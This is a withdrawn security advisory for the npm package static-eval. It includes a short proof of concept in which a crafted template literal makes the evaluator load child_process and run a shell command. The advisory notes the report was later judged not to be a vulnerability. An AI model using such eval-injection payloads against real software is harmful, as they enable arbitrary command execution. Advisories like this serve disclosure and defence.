GHSA-8v27-2fg9-7h62
Dashboard / Vulnerabilities / GHSA-8v27-2fg9-7h62
Summary: Withdrawn: Arbitrary Code Execution in static-eval
Details: All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast) # WITHDRAWN This was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.
References: https://nvd.nist.gov/vuln/detail/CVE-2021-23334, https://github.com/browserify/static-eval/blob/master/index.js%23L180, https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860, https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765
Affected packages
Package
Name: static-eval
Purl: pkg:npm/static-eval
Affected ranges
Type: SEMVER
Events:
